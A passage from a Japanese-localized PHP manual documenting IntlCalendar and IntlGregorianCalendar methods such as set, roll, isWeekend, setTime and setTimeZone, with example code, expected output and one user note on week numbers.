$cal->set(IntlCalendar::FIELD_DAY_OF_MONTH, 33);
var_dump(IntlDateFormatter::formatObject($cal)); // 02/08/2013, 00:00:00

$cal->setLenient(false);
var_dump($cal->isLenient()); // false
$cal->set(IntlCalendar::FIELD_DAY_OF_MONTH, 33);
var_dump(IntlDateFormatter::formatObject($cal)); // error

上の例の出力は以下となります。

string(20) "01/07/2013, 00:00:00"
bool(true)
string(20) "02/08/2013, 00:00:00"
bool(false)

Fatal error: Uncaught exception 'IntlException' with message 'datefmt_format_object: error obtaining instant from IntlCalendar' in /home/foobar/example.php:16
Stack trace:
#0 /home/foobar/example.php(16): IntlDateFormatter::formatObject(Object(IntlGregorianCalendar))
#1 {main}
  thrown in /home/foobar/example.php on line 16

User Contributed Notes

There are no user contributed notes for this page.


Whether a field is set

  • ≪ IntlCalendar::isLenient
  • IntlCalendar::isWeekend ≫
  • PHP Manual
  • IntlCalendar
  • Whether a field is set

IntlCalendar::isSet

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::isSet — Whether a field is set

説明

オブジェクト指向型

public IntlCalendar::isSet ( int $field ) : bool

手続き型

intlcal_is_set ( IntlCalendar $cal , int $field ) : bool

Returns whether a field is set (as opposed to clear). Set fields take priority over unset fields and their default values when the date/time is being calculated. Fields set later take priority over fields set earlier.

パラメータ

cal

The IntlCalendar resource.

field

IntlCalendar の日付/時刻 フィールド定数 のいずれか。 0 から IntlCalendar::FIELD_COUNT までの間の整数値です。

返り値

Assuming there are no argument errors, returns true if the field is set.

例

See the example on IntlCalendar::clear().

参考

  • IntlCalendar::clear() - Clear a field or all fields
  • IntlCalendar::set() - Set a time field or several common fields at once

User Contributed Notes

There are no user contributed notes for this page.


Whether a certain date/time is in the weekend

  • ≪ IntlCalendar::isSet
  • IntlCalendar::roll ≫
  • PHP Manual
  • IntlCalendar
  • Whether a certain date/time is in the weekend

IntlCalendar::isWeekend

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::isWeekend — Whether a certain date/time is in the weekend

説明

オブジェクト指向型

public IntlCalendar::isWeekend ( float $date = NULL ) : bool

手続き型

intlcal_is_weekend ( IntlCalendar $cal , float $date = NULL ) : bool

Returns whether either the obejct?s current time or the provided timestamp occur during a weekend in this object?s calendar system.

This function requires ICU 4.4 or later.

パラメータ

cal

The IntlCalendar resource.

date

An optional timestamp representing the number of milliseconds since the epoch, excluding leap seconds. If null, this object?s current time is used instead.

返り値

A bool indicating whether the given or this object?s time occurs in a weekend.

The value false may also be returned on failure, for instance after giving a date out of bounds on non-lenient mode; use exceptions or query intl_get_error_code() to disambiguate.

例

例1 IntlCalendar::isWeekend()

<?php
ini_set('date.timezone', 'Europe/Lisbon');

$cal = new IntlGregorianCalendar(NULL, 'en_US');
$cal->set(2013, 6 /* July */, 7); // a Sunday

var_dump($cal->isWeekend()); // true
var_dump($cal->isWeekend(strtotime('2013-07-01 00:00:00'))); // false, Monday

$cal = new IntlGregorianCalendar(NULL, 'ar_SA');
$cal->set(2013, 6 /* July */, 7); // a Sunday
var_dump($cal->isWeekend()); // false, Sunday not in weekend in this calendar

参考

  • IntlCalendar::getDayOfWeekType() - Tell whether a day is a weekday, weekend or a day that has a transition between the two
  • IntlCalendar::getWeekendTransition() - Get time of the day at which weekend begins or ends

User Contributed Notes

There are no user contributed notes for this page.


Add value to field without carrying into more significant fields

  • ≪ IntlCalendar::isWeekend
  • IntlCalendar::set ≫
  • PHP Manual
  • IntlCalendar
  • Add value to field without carrying into more significant fields

IntlCalendar::roll

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::roll — Add value to field without carrying into more significant fields

説明

オブジェクト指向型

public IntlCalendar::roll ( int $field , mixed $amountOrUpOrDown ) : bool

手続き型

intlcal_roll ( IntlCalendar $cal , int $field , mixed $amountOrUpOrDown ) : bool

Adds a (signed) amount to a field. The difference with respect to IntlCalendar::add() is that when the field value overflows, it does not carry into more significant fields.

パラメータ

cal

The IntlCalendar resource.

field

IntlCalendar の日付/時刻 フィールド定数 のいずれか。 0 から IntlCalendar::FIELD_COUNT までの間の整数値です。

amountOrUpOrDown

The (signed) amount to add to the field, true for rolling up (adding 1), or false for rolling down (subtracting 1).

返り値

Returns true on success or false on failure.

例

例1 IntlCalendar::roll()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');

$cal = new IntlGregorianCalendar(2013, 5 /* June */, 30);

$cal->add(IntlCalendar::FIELD_DAY_OF_MONTH, 1);
var_dump(IntlDateFormatter::formatObject($cal)); // "01/07/2013, 00:00:00"

$cal->set(2013, 5 /* June */, 30);
$cal->roll(IntlCalendar::FIELD_DAY_OF_MONTH, true); // roll up, same as rolling +1
var_dump(IntlDateFormatter::formatObject($cal)); // "01/06/2013, 00:00:00"

上の例の出力は以下となります。

string(20) "01/07/2013, 00:00:00"
string(20) "01/06/2013, 00:00:00"

参考

  • IntlCalendar::add() - Add a (signed) amount of time to a field
  • IntlCalendar::set() - Set a time field or several common fields at once

User Contributed Notes

There are no user contributed notes for this page.


Set a time field or several common fields at once

  • ≪ IntlCalendar::roll
  • IntlCalendar::setFirstDayOfWeek ≫
  • PHP Manual
  • IntlCalendar
  • Set a time field or several common fields at once

IntlCalendar::set

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::set — Set a time field or several common fields at once

説明

オブジェクト指向型

public IntlCalendar::set ( int $field , int $value ) : bool
public IntlCalendar::set ( int $year , int $month , int $dayOfMonth = NULL , int $hour = NULL , int $minute = NULL , int $second = NULL ) : bool

手続き型

intlcal_set ( IntlCalendar $cal , int $field , int $value ) : bool
intlcal_set ( IntlCalendar $cal , int $year , int $month , int $dayOfMonth = NULL , int $hour = NULL , int $minute = NULL , int $second = NULL ) : bool

Sets either a specific field to the given value, or sets at once several common fields. The range of values that are accepted depend on whether the calendar is using the lenient mode.

For fields that conflict, the fields that are set later have priority.

This method cannot be called with exactly four arguments.

パラメータ

cal

The IntlCalendar resource.

field

IntlCalendar の日付/時刻 フィールド定数 のいずれか。 0 から IntlCalendar::FIELD_COUNT までの間の整数値です。

value

The new value of the given field.

year

The new value for IntlCalendar::FIELD_YEAR.

month

The new value for IntlCalendar::FIELD_MONTH. The month sequence is zero-based, i.e., January is represented by 0, February by 1, ..., December is 11 and Undecember (if the calendar has it) is 12.

dayOfMonth

The new value for IntlCalendar::FIELD_DAY_OF_MONTH.

hour

The new value for IntlCalendar::FIELD_HOUR_OF_DAY.

minute

The new value for IntlCalendar::FIELD_MINUTE.

second

The new value for IntlCalendar::FIELD_SECOND.

返り値

Returns true on success and false on failure.

例

例1 IntlCalendar::set()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');

//Calls made later have priority
$cal = new IntlGregorianCalendar(2013, 6 /* July */, 1);
$cal->set(IntlCalendar::FIELD_YEAR, 2012);
$cal->set(IntlCalendar::FIELD_EXTENDED_YEAR, 2011);
var_dump(IntlDateFormatter::formatObject($cal));

$cal = new IntlGregorianCalendar(2013, 6 /* July */, 1);
$cal->set(IntlCalendar::FIELD_YEAR, 2012);
$cal->set(IntlCalendar::FIELD_EXTENDED_YEAR, 2011);
//the time has not been recalculated yet. If we clear the extended year,
//the year set before will be used
$cal->clear(IntlCalendar::FIELD_EXTENDED_YEAR);
var_dump(IntlDateFormatter::formatObject($cal));

上の例の出力は以下となります。

string(20) "01/07/2011, 00:00:00"
string(20) "01/07/2012, 00:00:00"

参考

  • IntlCalendar::get() - Get the value for a field
  • IntlCalendar::add() - Add a (signed) amount of time to a field
  • IntlCalendar::roll() - Add value to field without carrying into more significant fields

User Contributed Notes

There are no user contributed notes for this page.


Set the day on which the week is deemed to start

  • ≪ IntlCalendar::set
  • IntlCalendar::setLenient ≫
  • PHP Manual
  • IntlCalendar
  • Set the day on which the week is deemed to start

IntlCalendar::setFirstDayOfWeek

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::setFirstDayOfWeek — Set the day on which the week is deemed to start

説明

オブジェクト指向型

public IntlCalendar::setFirstDayOfWeek ( int $dayOfWeek ) : bool

手続き型

intlcal_set_first_day_of_week ( IntlCalendar $cal , int $dayOfWeek ) : bool

Defines the day of week deemed to start the week. This affects the behavior of fields that depend on the concept of week start and end such as IntlCalendar::FIELD_WEEK_OF_YEAR and IntlCalendar::FIELD_YEAR_WOY.

パラメータ

cal

The IntlCalendar resource.

dayOfWeek

One of the constants IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, ...,
IntlCalendar::DOW_SATURDAY.

返り値

Returns true on success. Failure can only happen due to invalid parameters.

例

例1 IntlCalendar::setFirstDayOfWeek()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'es_ES');

$cal = IntlCalendar::createInstance();
$cal->set(2013, 5 /* June */, 30); // A Sunday

var_dump($cal->getFirstDayOfWeek()); // 2 (Monday)

echo IntlDateFormatter::formatObject($cal, <<<EOD
'local day of week: 'cc'
week of month    : 'W'
week of year     : 'ww
EOD
), "\n";

$cal->setFirstDayOfWeek(IntlCalendar::DOW_SUNDAY);

echo IntlDateFormatter::formatObject($cal, <<<EOD
'local day of week: 'cc'
week of month    : 'W'
week of year     : 'ww
EOD
), "\n";

上の例の出力は以下となります。

int(2)
local day of week: 7
week of month    : 4
week of year     : 26
local day of week: 1
week of month    : 5
week of year     : 27

User Contributed Notes

There are no user contributed notes for this page.


Set whether date/time interpretation is to be lenient

  • ≪ IntlCalendar::setFirstDayOfWeek
  • IntlCalendar::setMinimalDaysInFirstWeek ≫
  • PHP Manual
  • IntlCalendar
  • Set whether date/time interpretation is to be lenient

IntlCalendar::setLenient

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::setLenient — Set whether date/time interpretation is to be lenient

説明

オブジェクト指向型

public IntlCalendar::setLenient ( bool $isLenient ) : bool

手続き型

intlcal_set_lenient ( IntlCalendar $cal , bool $isLenient ) : bool

Defines whether the calendar is 'lenient mode'. In such a mode, some of out-of-bounds values for some fields are accepted, the behavior being similar to that of IntlCalendar::add() (i.e., the value wraps around, carrying into more significant fields each time). If the lenient mode is off, then such values will generate an error.

パラメータ

cal

The IntlCalendar resource.

isLenient

Use true to activate the lenient mode; false otherwise.

返り値

Returns true on success. Failure can only happen due to invalid parameters.

例

See the example in IntlCalendar::isLenient().

User Contributed Notes

There are no user contributed notes for this page.


Set minimal number of days the first week in a year or month can have

  • ≪ IntlCalendar::setLenient
  • IntlCalendar::setRepeatedWallTimeOption ≫
  • PHP Manual
  • IntlCalendar
  • Set minimal number of days the first week in a year or month can have

IntlCalendar::setMinimalDaysInFirstWeek

(PHP 5 >= 5.5.1, PHP 7)

IntlCalendar::setMinimalDaysInFirstWeek — Set minimal number of days the first week in a year or month can have

説明

オブジェクト指向型

public IntlCalendar::setMinimalDaysInFirstWeek ( int $minimalDays ) : bool

手続き型

intlcal_set_minimal_days_in_first_week ( IntlCalendar $cal , int $minimalDays ) : bool

Sets the smallest number of days the first week of a year or month must have in the new year or month. For instance, in the Gregorian calendar, if this value is 1, then the first week of the year will necessarily include January 1st, while if this value is 7, then the week with January 1st will be the first week of the year only if the day of the week for January 1st matches the day of the week returned by IntlCalendar::getFirstDayOfWeek(); otherwise it will be the previous year?s last week.

パラメータ

cal

The IntlCalendar resource.

minimalDays

The number of minimal days to set.

返り値

true on success, false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set behavior for handling repeating wall times at negative timezone offset transitions

  • ≪ IntlCalendar::setMinimalDaysInFirstWeek
  • IntlCalendar::setSkippedWallTimeOption ≫
  • PHP Manual
  • IntlCalendar
  • Set behavior for handling repeating wall times at negative timezone offset transitions

IntlCalendar::setRepeatedWallTimeOption

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::setRepeatedWallTimeOption — Set behavior for handling repeating wall times at negative timezone offset transitions

説明

オブジェクト指向型

public IntlCalendar::setRepeatedWallTimeOption ( int $wallTimeOption ) : bool

手続き型

intlcal_set_repeated_wall_time_option ( IntlCalendar $cal , int $wallTimeOption ) : bool

Sets the current strategy for dealing with wall times that are repeated whenever the clock is set back during dailight saving time end transitions. The default value is IntlCalendar::WALLTIME_LAST (take the post-DST instant). The other possible value is IntlCalendar::WALLTIME_FIRST (take the instant that occurs during DST).

This function requires ICU 4.9 or later.

パラメータ

cal

The IntlCalendar resource.

wallTimeOption

One of the constants IntlCalendar::WALLTIME_FIRST or IntlCalendar::WALLTIME_LAST.

返り値

Returns true on success. Failure can only happen due to invalid parameters.

例

See the example on IntlCalendar::getRepeatedWallTimeOption().

参考

  • intlCalendar::getRepeatedWallTimeOption() - Get behavior for handling repeating wall time
  • intlCalendar::setSkippedWallTimeOption() - Set behavior for handling skipped wall times at positive timezone offset transitions
  • intlCalendar::getSkippedWallTimeOption() - Get behavior for handling skipped wall time

User Contributed Notes

There are no user contributed notes for this page.


Set behavior for handling skipped wall times at positive timezone offset transitions

  • ≪ IntlCalendar::setRepeatedWallTimeOption
  • IntlCalendar::setTime ≫
  • PHP Manual
  • IntlCalendar
  • Set behavior for handling skipped wall times at positive timezone offset transitions

IntlCalendar::setSkippedWallTimeOption

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::setSkippedWallTimeOption — Set behavior for handling skipped wall times at positive timezone offset transitions

説明

オブジェクト指向型

public IntlCalendar::setSkippedWallTimeOption ( int $wallTimeOption ) : bool

手続き型

intlcal_set_skipped_wall_time_option ( IntlCalendar $cal , int $wallTimeOption ) : bool

Sets the current strategy for dealing with wall times that are skipped whenever the clock is forwarded during dailight saving time start transitions. The default value is IntlCalendar::WALLTIME_LAST (take it as being the same instant as the one when the wall time is one hour more). Alternative values are IntlCalendar::WALLTIME_FIRST (same instant as the one with a wall time of one hour less) and IntlCalendar::WALLTIME_NEXT_VALID (same instant as when DST begins).

This affects only the instant represented by the calendar (as reported by IntlCalendar::getTime()), the field values will not be rewritten accordingly.

The calendar must be lenient for this option to have any effect, otherwise attempting to set a non-existing time will cause an error.

This function requires ICU 4.9 or later.

パラメータ

cal

The IntlCalendar resource.

wallTimeOption

One of the constants IntlCalendar::WALLTIME_FIRST,
IntlCalendar::WALLTIME_LAST or
IntlCalendar::WALLTIME_NEXT_VALID.

返り値

Returns true on success. Failure can only happen due to invalid parameters.

例

See the example on IntlCalendar::getSkippedWallTimeOption().

参考

  • intlCalendar::getSkippedWallTimeOption() - Get behavior for handling skipped wall time
  • intlCalendar::setRepeatedWallTimeOption() - Set behavior for handling repeating wall times at negative timezone offset transitions
  • intlCalendar::getRepeatedWallTimeOption() - Get behavior for handling repeating wall time

User Contributed Notes

There are no user contributed notes for this page.


Set the calendar time in milliseconds since the epoch

  • ≪ IntlCalendar::setSkippedWallTimeOption
  • IntlCalendar::setTimeZone ≫
  • PHP Manual
  • IntlCalendar
  • Set the calendar time in milliseconds since the epoch

IntlCalendar::setTime

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::setTime — Set the calendar time in milliseconds since the epoch

説明

オブジェクト指向型

public IntlCalendar::setTime ( float $date ) : bool

手続き型

intlcal_set_time ( IntlCalendar $cal , float $date ) : bool

Sets the instant represented by this object. The instant is represented by a float whose value should be an integer number of milliseconds since the epoch (1 Jan 1970 00:00:00.000 UTC), ignoring leap seconds. All the field values will be recalculated accordingly.

パラメータ

cal

The IntlCalendar resource.

date

An instant represented by the number of number of milliseconds between such instant and the epoch, ignoring leap seconds.

返り値

Returns true on success and false on failure.

例

例1 IntlCalendar::setTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'fr_FR');

$cal = new IntlGregorianCalendar(2013, 5 /* May */, 1, 12, 0, 0);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";

/* In Europe/Lisbon, on 2013-10-27 at 0200, the clock goes back one hour and
   the timezone from UTC+01 to UTC+00 */

$cal->setTime(strtotime('2013-10-27 00:30:00 UTC') * 1000.);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";

$cal->setTime(strtotime('2013-10-27 01:30:00 UTC') * 1000.);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";

上の例の出力は以下となります。

samedi 1 juin 2013 12:00:00 heure avancee d'Europe de l'Ouest
dimanche 27 octobre 2013 01:30:00 heure avancee d'Europe de l'Ouest
dimanche 27 octobre 2013 01:30:00 heure normale d'Europe de l'Ouest

User Contributed Notes

There are no user contributed notes for this page.


Set the timezone used by this calendar

  • ≪ IntlCalendar::setTime
  • IntlCalendar::toDateTime ≫
  • PHP Manual
  • IntlCalendar
  • Set the timezone used by this calendar

IntlCalendar::setTimeZone

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::setTimeZone — Set the timezone used by this calendar

説明

オブジェクト指向型

public IntlCalendar::setTimeZone ( mixed $timeZone ) : bool

手続き型

intlcal_set_time_zone ( IntlCalendar $cal , mixed $timeZone ) : bool

Defines a new timezone for this calendar. The time represented by the object is preserved to the detriment of the field values.

パラメータ

cal

The IntlCalendar resource.

timeZone

The new timezone to be used by this calendar. It can be specified in the following ways:

  • null。この場合はデフォルトのタイムゾーンを使います。デフォルトは、ini 項目 date.timezone で設定したものか、 date_default_timezone_set() 関数で指定したもの (そして date_default_timezone_get() が返すもの) になります。

  • IntlTimeZone。これを直接使います。

  • DateTimeZone。その識別子を取り出して、ICU タイムゾーンオブジェクトを作ります。 つまり、これは ICU のデータベースに基づくタイムゾーンとなり、PHP のタイムゾーンデータベースに基づくものではありません。

  • 文字列。ICU タイムゾーン識別子として有効なものを指定します。 IntlTimeZone::createTimeZoneIDEnumeration() を参照ください。 "GMT+08:30" などのオフセットも指定できます。

返り値

Returns true on success and false on failure.

例

例1 IntlCalendar::setTimeZone()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'es_ES');

$cal = new IntlGregorianCalendar(2013, 5 /* May */, 1, 12, 0, 0);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";
echo "(instant {$cal->getTime()})\n";

$cal->setTimeZone(IntlTimeZone::getGMT());
echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";
echo "(instant {$cal->getTime()})\n";

$cal->setTimeZone('GMT+03:33');
echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";
echo "(instant {$cal->getTime()})\n";

上の例の出力は以下となります。

sabado, 1 de junio de 2013 12:00:00 Hora de verano de Europa occidental
(instant 1370084400000)
sabado, 1 de junio de 2013 11:00:00 GMT
(instant 1370084400000)
sabado, 1 de junio de 2013 14:33:00 GMT+03:33
(instant 1370084400000)

User Contributed Notes

There are no user contributed notes for this page.


Convert an IntlCalendar into a DateTime object

  • ≪ IntlCalendar::setTimeZone
  • IntlGregorianCalendar ≫
  • PHP Manual
  • IntlCalendar
  • Convert an IntlCalendar into a DateTime object

IntlCalendar::toDateTime

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a2)

IntlCalendar::toDateTime — Convert an IntlCalendar into a DateTime object

説明

オブジェクト指向型

public IntlCalendar::toDateTime ( ) : DateTime

手続き型

intlcal_to_date_time ( IntlCalendar $cal ) : DateTime

Create a DateTime object that represents the same instant (up to second precision, with a rounding error of less than 1 second) and has an analog timezone to this object (the difference being DateTime?s timezone will be backed by PHP?s timezone while IntlCalendar?s timezone is backed by ICU?s).

パラメータ

cal

The IntlCalendar resource.

返り値

A DateTime object with the same timezone as this object (though using PHP?s database instead of ICU?s) and the same time, except for the smaller precision (second precision instead of millisecond). Returns false on failure.

例

例1 IntlCalendar::toDateTime()

<?php
ini_set('date.timezone', 'UTC');
ini_set('intl.default_locale', 'pt_PT');

$cal = IntlCalendar::createInstance('Europe/Lisbon'); //current time

$dt = $cal->toDateTime();
print_r($dt);

上の例の出力は以下となります。

DateTime Object
(
    [date] => 2013-07-02 00:29:13
    [timezone_type] => 3
    [timezone] => Europe/Lisbon
)

参考

  • IntlCalendar::fromDateTime() - Create an IntlCalendar from a DateTime object or string
  • IntlCalendar::getTime() - Get time currently represented by the object
  • IntlCalendar::createInstance() - Create a new IntlCalendar
  • DateTime:__construct()

User Contributed Notes

There are no user contributed notes for this page.


The IntlGregorianCalendar class

(PHP 5 >= 5.5.0, PHP 7)

はじめに

クラス概要

IntlGregorianCalendar extends IntlCalendar {
/* 継承した定数 */
const int IntlCalendar::FIELD_ERA = 0 ;
const int IntlCalendar::FIELD_YEAR = 1 ;
const int IntlCalendar::FIELD_MONTH = 2 ;
const int IntlCalendar::FIELD_WEEK_OF_YEAR = 3 ;
const int IntlCalendar::FIELD_WEEK_OF_MONTH = 4 ;
const int IntlCalendar::FIELD_DATE = 5 ;
const int IntlCalendar::FIELD_DAY_OF_YEAR = 6 ;
const int IntlCalendar::FIELD_DAY_OF_WEEK = 7 ;
const int IntlCalendar::FIELD_DAY_OF_WEEK_IN_MONTH = 8 ;
const int IntlCalendar::FIELD_AM_PM = 9 ;
const int IntlCalendar::FIELD_HOUR = 10 ;
const int IntlCalendar::FIELD_HOUR_OF_DAY = 11 ;
const int IntlCalendar::FIELD_MINUTE = 12 ;
const int IntlCalendar::FIELD_SECOND = 13 ;
const int IntlCalendar::FIELD_MILLISECOND = 14 ;
const int IntlCalendar::FIELD_ZONE_OFFSET = 15 ;
const int IntlCalendar::FIELD_DST_OFFSET = 16 ;
const int IntlCalendar::FIELD_YEAR_WOY = 17 ;
const int IntlCalendar::FIELD_DOW_LOCAL = 18 ;
const int IntlCalendar::FIELD_EXTENDED_YEAR = 19 ;
const int IntlCalendar::FIELD_JULIAN_DAY = 20 ;
const int IntlCalendar::FIELD_MILLISECONDS_IN_DAY = 21 ;
const int IntlCalendar::FIELD_IS_LEAP_MONTH = 22 ;
const int IntlCalendar::FIELD_FIELD_COUNT = 23 ;
const int IntlCalendar::FIELD_DAY_OF_MONTH = 5 ;
const int IntlCalendar::DOW_SUNDAY = 1 ;
const int IntlCalendar::DOW_MONDAY = 2 ;
const int IntlCalendar::DOW_TUESDAY = 3 ;
const int IntlCalendar::DOW_WEDNESDAY = 4 ;
const int IntlCalendar::DOW_THURSDAY = 5 ;
const int IntlCalendar::DOW_FRIDAY = 6 ;
const int IntlCalendar::DOW_SATURDAY = 7 ;
const int IntlCalendar::DOW_TYPE_WEEKDAY = 0 ;
const int IntlCalendar::DOW_TYPE_WEEKEND = 1 ;
const int IntlCalendar::DOW_TYPE_WEEKEND_OFFSET = 2 ;
const int IntlCalendar::DOW_TYPE_WEEKEND_CEASE = 3 ;
const int IntlCalendar::WALLTIME_FIRST = 1 ;
const int IntlCalendar::WALLTIME_LAST = 0 ;
const int IntlCalendar::WALLTIME_NEXT_VALID = 2 ;
/* メソッド */
public __construct ( IntlTimeZone $tz = ? , string $locale = ? )
public getGregorianChange ( ) : float|false
public isLeapYear ( int $year ) : bool
public setGregorianChange ( float $date ) : bool
/* 継承したメソッド */
public IntlCalendar::add ( int $field , int $amount ) : bool
public IntlCalendar::after ( IntlCalendar $other ) : bool
public IntlCalendar::before ( IntlCalendar $other ) : bool
public IntlCalendar::clear ( int $field = NULL ) : bool
private IntlCalendar::__construct ( )
public static IntlCalendar::createInstance ( mixed $timeZone = NULL , string $locale = "" ) : IntlCalendar
public IntlCalendar::equals ( IntlCalendar $other ) : bool
public IntlCalendar::fieldDifference ( float $when , int $field ) : int|false
public static IntlCalendar::fromDateTime ( mixed $dateTime ) : IntlCalendar
public IntlCalendar::get ( int $field ) : int
public IntlCalendar::getActualMaximum ( int $field ) : int|false
public IntlCalendar::getActualMinimum ( int $field ) : int|false
public static IntlCalendar::getAvailableLocales ( ) : array
public IntlCalendar::getDayOfWeekType ( int $dayOfWeek ) : int|false
public IntlCalendar::getErrorCode ( ) : int
public IntlCalendar::getErrorMessage ( ) : string
public IntlCalendar::getFirstDayOfWeek ( ) : int|false
public IntlCalendar::getGreatestMinimum ( int $field ) : int|false
public static IntlCalendar::getKeywordValuesForLocale ( string $key , string $locale , bool $commonlyUsed ) : Iterator|false
public IntlCalendar::getLeastMaximum ( int $field ) : int|false
public IntlCalendar::getLocale ( int $localeType ) : string|false
public IntlCalendar::getMaximum ( int $field ) : int|false
public IntlCalendar::getMinimalDaysInFirstWeek ( ) : int|false
public IntlCalendar::getMinimum ( int $field ) : int|false
public static IntlCalendar::getNow ( ) : float
public IntlCalendar::getRepeatedWallTimeOption ( ) : int
public IntlCalendar::getSkippedWallTimeOption ( ) : int
public IntlCalendar::getTime ( ) : float
public IntlCalendar::getTimeZone ( ) : IntlTimeZone
public IntlCalendar::getType ( ) : string
public IntlCalendar::getWeekendTransition ( string $dayOfWeek ) : int|false
public IntlCalendar::inDaylightTime ( ) : bool
public IntlCalendar::isEquivalentTo ( IntlCalendar $other ) : bool
public IntlCalendar::isLenient ( ) : bool
public IntlCalendar::isSet ( int $field ) : bool
public IntlCalendar::isWeekend ( float $date = NULL ) : bool
public IntlCalendar::roll ( int $field , mixed $amountOrUpOrDown ) : bool
public IntlCalendar::set ( int $field , int $value ) : bool
public IntlCalendar::set ( int $year , int $month , int $dayOfMonth = NULL , int $hour = NULL , int $minute = NULL , int $second = NULL ) : bool
public IntlCalendar::setFirstDayOfWeek ( int $dayOfWeek ) : bool
public IntlCalendar::setLenient ( bool $isLenient ) : bool
public IntlCalendar::setMinimalDaysInFirstWeek ( int $minimalDays ) : bool
public IntlCalendar::setRepeatedWallTimeOption ( int $wallTimeOption ) : bool
public IntlCalendar::setSkippedWallTimeOption ( int $wallTimeOption ) : bool
public IntlCalendar::setTime ( float $date ) : bool
public IntlCalendar::setTimeZone ( mixed $timeZone ) : bool
public IntlCalendar::toDateTime ( ) : DateTime
}

目次

  • IntlGregorianCalendar::__construct — Create the Gregorian Calendar class
  • IntlGregorianCalendar::getGregorianChange — Get the Gregorian Calendar change date
  • IntlGregorianCalendar::isLeapYear — Determine if the given year is a leap year
  • IntlGregorianCalendar::setGregorianChange — Set the Gregorian Calendar the change date

User Contributed Notes

Julian Sawicki 22-Oct-2020 12:29
I was using `IntlGregorianCalendar` because it offered a nice way to get the week number of the year as an integer. This differs from `DateTime`; `DateTime` gives you the week number of the year as an string.

<?php

$dateTime = new DateTime('21-09-2020 09:00:00');
echo $dateTime->format("W"); // string '39'

$intlCalendar = IntlCalendar::fromDateTime ('21-09-2020 09:00:00');
echo $intlCalendar->get(IntlCalendar::FIELD_WEEK_OF_YEAR); // integer 39


Create the Gregorian Calendar class

  • ≪ IntlGregorianCalendar
  • IntlGregorianCalendar::getGregorianChange ≫
  • PHP Manual
  • IntlGregorianCalendar
  • Create the Gregorian Calendar class

IntlGregorianCalendar::__construct

(PHP 5 >= 5.5.0, PHP 7)

IntlGregorianCalendar::__construct — Create the Gregorian Calendar class

説明

public IntlGregorianCalendar::__construct ( IntlTimeZone $tz = ? , string $locale = ? )
public IntlGregorianCalendar::__construct ( int $timeZoneOrYear , int $localeOrMonth , int $dayOfMonth )
public IntlGregorianCalendar::__construct ( int $timeZoneOrYear , int $localeOrMonth , int $dayOfMonth , int $hour , int $minute , int $second = ? )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

tz

locale

timeZoneOrYear

localeOrMonth

dayOfMonth

hour

minute

second

User Contributed Notes

There are no user contributed notes for this page.


Get the Gregorian Calendar change date

  • ≪ IntlGregorianCalendar::__construct
  • IntlGregorianCalendar::isLeapYear ≫
  • PHP Manual
  • IntlGregorianCalendar
  • Get the Gregorian Calendar change date

IntlGregorianCalendar::getGregorianChange

(PHP 5 >= 5.5.0, PHP 7)

IntlGregorianCalendar::getGregorianChange — Get the Gregorian Calendar change date

説明

public IntlGregorianCalendar::getGregorianChange ( ) : float|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

Returns the change date失敗した場合に false を返します.

User Contributed Notes

There are no user contributed notes for this page.


Determine if the given year is a leap year

  • ≪ IntlGregorianCalendar::getGregorianChange
  • IntlGregorianCalendar::setGregorianChange ≫
  • PHP Manual
  • IntlGregorianCalendar
  • Determine if the given year is a leap year

IntlGregorianCalendar::isLeapYear

(PHP 5 >= 5.5.0, PHP 7)

IntlGregorianCalendar::isLeapYear — Determine if the given year is a leap year

説明

public IntlGregorianCalendar::isLeapYear ( int $year ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

year

返り値

Returns true for leap years, false otherwise and on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set the Gregorian Calendar the change date

  • ≪ IntlGregorianCalendar::isLeapYear
  • IntlTimeZone ≫
  • PHP Manual
  • IntlGregorianCalendar
  • Set the Gregorian Calendar the change date

IntlGregorianCalendar::setGregorianChange

(PHP 5 >= 5.5.0, PHP 7)

IntlGregorianCalendar::setGregorianChange — Set the Gregorian Calendar the change date

説明

public IntlGregorianCalendar::setGregorianChange ( float $date ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

date

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


IntlTimeZone クラス

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

はじめに

クラス概要

IntlTimeZone {
/* 定数 */
const int DISPLAY_SHORT = 1 ;
const int DISPLAY_LONG = 2 ;
/* メソッド */
public static countEquivalentIDs ( string $zoneId ) : int
